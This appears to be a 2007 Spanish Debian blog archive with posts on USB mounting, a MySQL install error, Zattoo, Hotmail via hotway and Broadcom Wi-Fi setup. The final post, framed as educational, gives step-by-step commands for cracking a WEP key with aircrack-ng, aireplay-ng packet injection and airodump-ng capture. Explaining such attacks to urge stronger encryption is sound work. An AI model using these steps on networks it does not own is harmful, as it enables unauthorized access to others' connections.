domingo, 16 de septiembre de 2007

No monta los dispositivos USB, aunque los reconoce todos y cada uno de ellos.

Hasta hace unos días Debian Etch me montaba todos los dispositivos USB perfectamente (Pendrive, mp3, cámara de fotos...) sin problema de ningún tipo.

Ahora resulta que he cambiado de rama, es decir de Etch (estable) a Lenny (testing), y ahora resulta que Debian me reconoce todos los dispositivos usb pero no me los monta.

Desde entonces cuando conecto algún dispositivo usb me devuelve el siguiente mensaje:

mount: wrong fs type, bad option, bad superblock on /dev/sdbmissing codepage or other error In some cases usefulinfo is found in syslog - try dmesg | tail or so

Lo que pasa es que Lenny (testing) usa el kernel 2.6.21-2 y con éste no hay problema, en cambio Etch (estable) usa el kernel 2.6.18-4 que no soporta montajes con la opción "flush", algún paquete actualizado recientemente será el responsable de esto pero no se de cual es la culpa del mal funcionamiento ya que está dirigido a usarse con el kernel de la rama (es decir con kernel 2.6.21-2)

He ahí mi problema que actualice todo menos el kernel, pues el que tenia de Etch me funcionaba todo muy bien, hasta ese momento.

La solución fue bien fácil, actualizar el kernel a 2.6.21-2















































































































































































.

Error al instalar o al actualizar MySQL

Si tenéis que instalar o actualizar MySQL y al final de todo os devuelve un error parecido a éste:

Preparando para reemplazar mysql-server-5.0 5.0.27-2 (usando .../mysql-server-5. 0_5.0.30-1_i386.deb) ...
Stopping MySQL database server: mysqld.

/etc/lsb-base-logging.s Preparando para reemplazar mysql-server-5.0 5.0.27-2 (usando .../mysql-server-5. 0_5.0.30-1_i386.deb) ...
Stopping MySQL database server: mysqld.
/etc/lsb-base-logging.sh: line 34: RUNLEVEL: unbound variable
invoke-rc.d: initscript mysql, action "stop" failed.
dpkg: aviso - script de `pre-removal' antiguo devolvió código de error 1
dpkg - probando el script del nuevo paquete en su lugar...
Stopping MySQL database server: mysqld.
/etc/lsb-base-logging.sh: line 34: RUNLEVEL: unbound variable
invoke-rc.d: initscript mysql, action "stop" failed.
dpkg: error al procesar /var/cache/apt/archives/mysql-server-5.0_5.0.30-1_i386.deb (--unpack):
el subproceso script pre-removal nuevo devolvió el código de salida de error 1
Stopping MySQL database server: mysqld.
/etc/lsb-base-logging.sh: line 34: RUNLEVEL: unbound variable
invoke-rc.d: initscript mysql, action "stop" failed.h: line 34: RUNLEVEL: unbound variable
invoke-rc.d: initscript mysql, action "stop" failed.
dpkg: aviso - script de `pre-removal' antiguo devolvió código de error 1
dpkg - probando el script del nuevo paquete en su lugar...
Stopping MySQL database server: mysqld.
/etc/lsb-base-logging.sh: line 34: RUNLEVEL: unbound variable
invoke-rc.d: initscript mysql, action "stop" failed.
dpkg: error al procesar /var/cache/apt/archives/mysql-server-5.0_5.0.30-1_i386.deb (--unpack):
el subproceso script pre-removal nuevo devolvió el código de salida de error 1
Stopping MySQL database server: mysqld.
/etc/lsb-base-logging.sh: line 34: RUNLEVEL: unbound variable
invoke-rc.d: initscript mysql, action "stop" failed.

o al actualizar o al instalar un paquete en Debian. La solución consiste en desinstalar splashy, pues este es la fuente de los problemas.

Cuando yo he tenido problemas a la hora de instalar MySQL porque ya tenia instalado splashy, lo primero que hago es desinstalar splashy, acto seguido procedo a instalar MySQL (lo instala sin problemas) y cuando ya esta instalado vuelvo a instalar splashy para tener la imagen que me gusta mientras arranca.




























































































































































.

TV gratuita por internet - Zattoo -

Zattoo es un programa universal (que vale tanto para Linux, Windows y Mac ) que nos permite ver la televisión a través de nuestro ordenador sin necesidad de tarjetas de televisión, sintonizadoras TDT, antenas, ni nada por el estilo.


Con Zattoo, tras un breve registro gratuito, podrás ver trece canales de televisión (van aumentando canales constantemente) en tu PC. Sólo tu PC y una buena conexión a Internet (minino una conexión de 1 mb, para que la imagen se vea decentemente).

Los canales incluidos son los de emisión en abierto de España: La Primera, La 2, Antena 3, Cuatro, Telecinco, La Sexta. También se incluyen TeleDeporte, Canal 24 Horas y Extremadura TV; y otros canales del extranjero como son Detsche Welle, France 24 English, SF Info y TVPolonia.


El programa ofrece una calidad de imagen excelente, sintoniza rápido (en apenas segundos, aunque dependerá de tu conexión) y permite ver la televisión en una ventana o a pantalla completa.

Para instalarlo basta con inscribirse en su pagina web e ir a la sección descargas y abajo del todo descargar el reproductor de Linux. Ahí tenéis un .deb para Debian Etch y Ubuntu Edgy 6.10 que también funciona sin problemas en Ubuntu Feiste y Guadalinex V4 . También hay versiones para otras distribuciones de Linux.

Una vez instalado lanzamos la aplicación, nos pedirá nuestro usuario y contraseña para poder ver la televisión.
Asi de fácil.




Instalación en modo gráfico.

Para que la instalación la realicemos en modo gráfico hemos de instalar si no lo tenemos ya el programa kpackage con nuestro programa favorito synaptic o en modo consola con apt.

# apt-get install kpackage

Una vez instalado es tan fácil como clicar con el ratón encima del fichero que nos hemos descargado desde Zattoo, en mi caso es:

zattoo-3.0.5.8208-i386.deb

Se nos abrirá una ventana en al cual tenemos que clicar en instalar.


y nuevamente clicamos en instalar para que comience la instalación.
Recordar que en este paso os pide la contraseña de root.

Si toda ha ido bien nos ha de mostrar al final de la instalación un mensaje con el resultado de este, Si el mensaje ha sido:

Result=0 (esto significa que se ha instalado sin problemas)


Si el resultado hubiese sido:

Result=1 (entonces habríamos tenido un error en la instalación, probablemente causado por una dependencia incumplida con zattoo), la manera de solucionar este error es cerrando kpackage y usando synaptic.

En synaptic nos dirigimos a:

Editar>Reparar paquetes rotos.

Acto seguido aplicamos y ya tenemos resuelto el problema de la dependencia.












.

sábado, 8 de septiembre de 2007

Leer correo de Hotmail en Debian usando cualquier gestor de Correo

Si eres de los que prefieren descargar todo tus correos a tu ordenador para leerlo y no tener que entrar en la web cada vez que lo quieras leer, lo mejor es usar la aplicación hotway.

Lo instalamos con synaptic o bien en consola, el siguiente paquete.

# apt-get install hotway

Con esto ya tenemos todo lo necesario, ahora solo hemos de configurar nuestra cuenta de hotmail en nuestro gestor de correos favoritos en nuestro Debian.

La configuración del correo como si fuera pop3 (recibir correo) es la siguiente:

Nombre del servidor: localhost
Servidor: 127.0.0.1
Puerto: 110
Nombre de usuario: tu_nombre_de_usuario@hotmail.com

con esto es suficiente para funcionar.


Captura de pantalla de Kmail.


Captura de pantalla de Icedove (Thunderbird)


La configuración del envío (smtp) de correo es:

es exactamente igual al envío, pero para ello hemos de instalar el siguiente paquete:

# apt-get install hostsmtp

La configuración es la misma, pero evidentemente cambia en puerto:

Nombre del servidor: localhost
Servidor: 127.0.0.1
Puerto: 25
Nombre de usuario: tu_nombre_de_usuario@hotmail.com







































































































































WIFI - instalar bcm43xx y wifi-radar

Gracias a la gente que esta realizando un gran trabajo de ingeniería inversa con los drivers para Broadcom ya lo tenemos incluidos estos driver en el kernel a partir del kernel 2.6.17-rc2 por lo cual el proceso de instalación es más sencillo, también vamos a ver como hacer para que nuestro Debian nos busque y nos conecte a la red wireless automáticamente dependiendo del lugar donde nos encontremos, sin estar configurando a cada rato, para esto usamos WiFi-Radar

Comencemos con el bcm43xx

En algunos lugares se dice que hay problema con este driver pero eso debe ser anteriormente, porque a mi me esta funcionando de maravilla en mi Debian Etch.

una vez instalado Debian podemos ver si el kernel detecto el driver, así que tenemos que poner el siguiente comando, si nuestra tarjeta es pci el comando es "lspci" y si es usb el comando es "lsusb", en mi caso pci:

# lspci

en la salida hemos de tener algo parecida a esto

03:02.0 Network controller: Broadcom Corporation BCM4318 [AirForce One 54g] 802.11g Wireless LAN Controller (rev 02)

Si en el caso de que nos saliera: command not found, entonces tu necesitas instalar pciutils

# apt-get instal pciutils

La gente tiende a confundir acerca del driver bcm43xx que viene en Debian Etch, creen que, porque ya el kernel lo ha reconocido ya debería funcionar y no es así, si usamos el comando:

# dmesg

y verán errores o problemas relativos a wireless porque no funciona, eso es debido a que necesita el firmware que es necesario para el hardware, así que debemos instalarlo primero.

Antes vamos a instalar los paquetes necesarios:

# apt-get install module-assistant
# apt-get install build-essential
# apt-get install bcm43xx-fwcutter

Reiniciamos el ordenador y ya tenemos listo para configurar la red wireless

Así que nos vamos a Escritorio->Administración->Red y seleccionamos la interface wireless y presionamos el botón Propiedades y comenzamos a poner los datos de nuestra red wireless


Presionamos Aceptar y después de uno dos minutos aproximadamente ya la tenemos activada y lista para navegar





WiFi-Radar

WiFi-Radar es una utilidad que te permite explorar las redes wireless disponibles y crear los perfiles para tus redes preferidas. Ahora para instalar Wifi-Radar tenemos que hacer lo siguiente:

# apt-get install wifi-radar

ahora lanzamos la aplicación:

# wifi-radar

el caso de nos devuelva el siguiente mensaje:
eth2 Interface doesn't support scanning.
eth2 no wireless extensions.

no se preocupe, es que tenemos que reconfigurar el WiFi-Radar para que trabaje con la interface de red adecuada, primero debemos saber cual es usando el siguiente comando nos mostrara cual es:

# iwconfig

Obtenemos una salida como esta (los datos fueron cambiados así que no traten de conectarse los que viven cerca de mi casa)

lo no wireless extensions.
eth2 no wireless extensions.
eth0 no wireless extensions.
eth1 IEEE 802.11b/g ESSID:"dd-wrt" Nickname:"Broadcom 4318"
Mode:Managed Frequency=2.437 GHz Access Point: 00:6F:62:D2:AF:12
Bit Rate=11 Mb/s Tx-Power=18 dBm
RTS thr:off Fragment thr:off
Encryption key:EA29-59FC-924A-322F-03AE-3F29-43 Security mode:open
Link Quality=100/100 Signal level=3/3 Noise level=186/100
Rx invalid nwid:0 Rx invalid crypt:5 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
sit0 no wireless extensions.

Ahora sabemos que es eth1 (en mi caso) entonces tenemos que reconfigurarla ya que WiFi-Radar esta trabajando con eth2, asi que ponemos lo siguiente:

# dpkg-reconfigure -p low wifi-radar

nos va a salir una ventana como la siguiente en donde debemos tipear la interface correcta


una vez realizado esto lanzamos otra vez WiFi-Radar

# wifi-radar

ya nos muestra todas las redes wireless que están a nuestro alcance asi que debemos configurar el perfil de aquellas que son nuestras


Seleccionamos la primera y ponemos conectar, como no la hemos configurada nos preguntara si deseamos configurarla, le ponemos que si.







Una vez que ya tenemos configuradas las redes wireless que tenemos en la casa y las que tenemos en el trabajo, entonces con tan solo poner el siguiente comando nos conectaremos con la primera que este disponible

# wifi-radar -d

Para los que no desean estar escribiendo esto cada vez que encendemos el ordenador, lo podemos poner en el arranque /etc/init.d/wifi-radar y asi cada vez que encendemos nuestro ordenador comience a buscar y conectarse a la primera que encuentre y que este configurada en wifi-radar

Ahora les recomiendo que instalen wpa-supplicant para tener soporte de WPA y WPA2 y lo configures con wifi-radar.














.

aircrack-ng y kismet, desproteger WIFI

Esto es solo en plan didáctico para que aprendamos como nos pueden piratear nuestra conexión a internet en tan solo un par de minutos, para evitar eso mejor que cifremos nuestra conexión mediante los cifrados: wpa y wpa2

La seguridad en las redes inalámbricas es un tema muy serio que produce serios quebraderos de cabeza a aquellos que sienten importante la información que protegen o simplemente no quieren a medio país conectándose a través de su red a Internet. Para ello, con el tiempo, se han ido diseñando distintos sistemas de cifrado de datos para este tipo de redes.

El más popular de los mecanismos actualmente en uso es WEP (Wired Equivalent Privacy), aunque la certeza de su debilidad ha dado paso a la creación de un sistema mucho más robusto llamado WPA (Wi-Fi Protected Access). La debilidad de WEP es algo que todo el mundo conoce, aunque también se tenía en cuenta, hasta ahora, que era una tarea realmente ardua descifrar la clave. Ahora, el FBI se ha encargado de demostrar que no sólo NO ES TAN DIFICIL crackear la clave WEP, sino que se trata de un proceso sencillo, de escasos 3 minutos, que cualquiera puede realizar utilizando herramientas que se pueden adquirir gratis en Internet. Por ello, y por la importancia del asunto, he decidido traducir la narración que Humphrey Cheung, asistente a la demostración, ha realizado de este “ataque WEP”.

Esto es solo en plan didáctico para que aprendamos como nos pueden piratear nuestra conexión a internet en tan solo un par de minutos, por eso es mejor que cifremos nuestra conexión mediante los cifrados: wpa y wpa2


Una vez instalado y configurado el WIFI, tenemos que instalar la suit
e airckarck-ng y kismet

# apt-get install aircrack-ng
# apt-get install kismet

Debemos configurar Kismet para que funcione con bcm43xx, o con Atheros (AR5212) editaremos el archivo según nuestra tarjeta
/etc/kismet/kismet.conf
buscaremos la linea
source=none,none,none
y la dejaremos así, en este caso en un broadcom:
source=bcm43xx,eth1,broadcom

o así, dependiendo de nuestra tarjeta de red, en este caso es Atheros (AR5212):
source=madwifi_g,wifi0,madwifi-ng

Ahora que tenemos las herramientas, solo me queda aclarar unas cosas:

ESSID: Es el nombre o identificador de las redes wifi
BSSID: Es la dirección MAC de los puntos de acceso o routers inalámbricos
¿Cuantos paquetes necesito capturar?: Depende de la longitud de la clave WEP
<= 128 bits recomendables al menos 300.000 >= 128 bits a partir de 1.000.000
¿Donde veo los paquetes que llevo capturados?:
En la consola que esta airodump-ng ejecutándose en la columna # Data

OK, comencemos:

1-Paramos la tarjeta
# ifconfig eth1 down

2 -Establecemos a 1 M/s el ancho de banda, para tener muy buena visión y mucha distancia de alcance.
# iwconfig eth1 rate 1M

3- Ponemos la tarjeta en modo monitor
# airmon-ng eth1 start

7- Hacemos un escaneo de redes en modo monitor y obtenemos ESSID, BSSID y el canal de la red que estamos probando, y terminamos de preparar la tarjeta.

# kismet

8- Ahora abriremos dos consolas una para aireplay-ng y otra para airodump-ng


9- Comenzamos a inyectar paquetes
# aireplay-ng -CANAL -b BSSID -h DIRECCION-MAC-DE-bcm43xx eth1

10- Comenzamos a capturar paquetes IVs
# airodump-ng --ivs -c CANAL -w ESSID eth1

Una vez que tengamos la cantidad de paquetes deseados paramos aireplay-ng y airodump-ng y seguimos con el ultimo paso.

11- Obtenemos la clave
# aircrack-ng ESSID-01.ivs



Este proceso no debería llevar mas de 1 ó 2 minutos. En caso de que no saque la contraseña sera necesario capturar mas paquetes


Esto es solo en plan didáctico para que aprendamos como nos pueden piratear nuestra conexión a internet en tan solo un par de minutos, por eso es mejor que cifremos nuestra conexión mediante los cifrados: wpa y wpa2







.